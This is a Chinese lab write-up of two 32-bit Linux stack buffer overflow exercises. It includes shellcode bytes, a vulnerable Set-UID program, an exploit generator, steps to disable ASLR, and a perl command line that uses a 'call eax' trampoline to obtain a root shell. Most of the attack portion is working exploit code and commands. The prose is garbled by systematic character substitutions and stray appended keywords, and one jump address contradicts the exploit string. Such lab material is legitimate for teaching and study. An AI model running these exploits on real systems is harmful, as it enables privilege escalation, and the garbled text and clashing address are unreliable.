缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的状况。这一漏洞能够被恶意用户利用来改变程序的流控制,甚至执行代码的任意片断。这一漏洞的出现是因为数据缓冲器和返回地址的暂时关闭,溢出会引发返回地址被重写。linux
利用缓冲区溢出进行攻击的原理就是经过修改内存区域,把一段恶意代码存储到一个buffer中,而且使这个buffer被溢出,以便当前进程被非法利用(恶意代码执行)。
随便往缓冲区中填东西形成它溢出通常只会获得“分段错误”(Segmentation fault),我想这个错误应该不少编程的人都遇到过。可是若是覆盖缓冲区的是一段精心设计的机器指令序列,它可能经过溢出,改变返回地址,将其指向本身的指令序列,从而改变程序的正常流程。shell
上图是程序在内存中的映射。编程
程序中函数调用堆栈就是溢出漏洞的主要途径。一个函数执行完毕,要返回时堆栈指针ESP会指向保存原来EIP的地方,而指令指针EIP指向RET指令,因此正常状况下,RET执行后,就能够把原来的EIP恢复,从而回到中断前的流程。可是,保存的EIP若是被覆盖成一个JMP指令的地址,这样,执行POP EIP后,EIP会被改为JMP指令的地址,即开始执行ShellCode中的指令。
ubuntu
实验楼环境(Ubuntu linux 64位)。为了方便观察汇编语句,须要安装一些用于编译32位C程序的东西。数组
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
Ubuntu和其余一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜想准确的内存地址变得十分困难,而猜想内存地址是缓冲区溢出攻击的关键。所以本次实验中,咱们使用如下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space = 0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。所以,即便你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防御措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号连接。为了重现这一防御措施被实现以前的情形,咱们使用另外一个shell程序(zsh)代替/bin/bash。具体操做以下:sass
sudo su cd /bin rm sh ln -s zsh sh exit
通常状况下,缓冲区溢出会形成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址,那么程序就会跳转到该地址,若是该地址存放的是一段精心设计的代码用于实现其余功能,这段代码就是shellcode。安全
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }
shellcode固然不是上面的c程序,由于攻击代码必须是机器级指令,因此选择其汇编版本做为本次实验的shellcode。
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
bash
把如下代码保存为“stac.c”文件,保存到/tmp目录下。app
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
上面的代码很简单,读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令以下:dom
sudo gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c // -fno-stack-protector参数的含义是关闭栈保护机制;-z execstack 参数的意思是用于容许执行栈 chmod u+s stack exit
咱们的目的是攻击上面的漏洞程序,并经过攻击得到root权限。
把如下代码保存为“exploit.c”文件,保存到/tmp目录。
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的代码,“\x??\x??\x??\x??”处须要添上shellcode保存在内存中的地址。由于发生溢出后这个位置恰好覆盖返回地址。
而strcpy(buffer+100,shellcode)
的意思是shellcode保存在buffer+100的位置。如今咱们得去找到buffer在内存中的地址:
gdb stack disass main
由此计算shellcode的地址:
0xffffcfc0+100(十进制) = 0xffffcfc0+0x64=0xffffd024
修改exploit.c后编译:
先运行攻击程序exploit,再运行漏洞程序stack:
上面缓冲区溢出漏洞实验shellcode的地址采用的静态地址,可是如今的Ubuntu和其余一些Linux系统中,使用地址空间随机化(ASLR)来随机堆(heap)和栈(stack)的初始地址,采用静态地址攻击显得有很大的不足。一种经典的绕过ASLR的方法就是经过程序自身存在的"jmp 寄存器"指令,动态跳转到shellcode,即便程序每次加载的地址不同,但程序指令间的相对运行不会变。本实验是经过程序自己存在的“call eax”(相似jmp eax)指令跳转到shellcode。
实验楼环境(Ubuntu linux 64位)
本次实验是在32位环境中完成的,而实验楼ubuntu是64位,因此先下载安装32位的库。
sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
经过linux32
命令进入32位linux环境。
打开ASLR:
在前一次实验已经描述过什么是shellcode和它的做用。下面直接贴出shellcode的C版本代码:
#include <stdio.h> int main(int argc, char **argv) { char *name[2]; name[0] = "/bin/bash"; name[1] = NULL; execve(name[0], name, NULL); return 0; }
shellcode怎么来的: shellcode是将上面C程序对应的汇编代码经过objdump获取其二进制代码获得的。
汇编版本:
xor %edx,%edx;\ push %edx;\ push $0x68732f2f;\ push $0x6e69622f;\ mov %esp,%ebx;\ push %edx;\ push %ebx;\ mov %esp,%ecx;\ xor %eax,%eax;\ movb $0x0b,%al;int $0x80;\
二进制代码:
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
/* badpro.c */ #include <stdio.h> #include <string.h> void badfunc(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { badfunc(argv[1]); return 0; }
上面程序完成的功能是:将main函数的第一个参数(字符串)复制到buffer中。
用下面的命令进行编译连接生成可执行的badpro:
gcc -Wall -g -o badpro badpro.c -z execstack -m32 -fno-stack-protector
给该程序加上root权限,这样攻击成功后就会得到其root权限:
sudo chown root:root badpro sudo chmod a+s badpro
经过objdump -d badpro | grep *%eax
命令查找程序中是否存在call eax
或者jmp eax
这样的指令。其中“*%eax”是在寄存器前面加星号,表明这是一个绝对调用或者跳转,也就是该命令是对一个绝对地址进行操做,也正是因为这样指令的存在,才使得这种攻击成为可能。
选择0x08048386这个地址,做为跳板,获得最终的exploit的内容:ShellCode(N) + A(524-N) + \xdf\x83\x04\x08,这里事先生成的shellcode为25字节,所以填充了499个A。
执行以下命令:
./badpro $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x86\x83\x04\x08"') /* perl -e 是perl在命令行中执行的命令;printf是将后面紧跟的字符串写入标准输出流;“A”x499是产生499个A。 */
从上图能够看出,咱们已经得到了root权限。成功!
经过分析漏洞,也思考了一些漏洞攻击的防范问题。整个防范措施大概有源码级保护方法、运行期保护方法、阻止攻击代码执行、增强系统保护等几种。对于源码保护,能够提升警戒,在编写程序时对于涉及缓冲区的部分进行严格的边界检查,防止溢出。也能够利用漏洞扫描工具对源码中可能存在缓冲区溢出漏洞的代码部分分析,寻找bug并解决。运行期保护主要研究如何在程序运行的过程当中发现或阻止缓冲区溢出攻击。好比数组边界检查,检查数组实际长度是否超过了分配的长度,若是超过,当即进行相应的处理。阻止攻击代码执行,能够设定堆栈数据段不可执行,这样就能够避免被攻击。增强系统保护主要是保护系统信息、关闭不须要的服务、最小权限原则、使用系统的堆栈补丁、检查系统漏洞并及时为软件打上安全补丁等。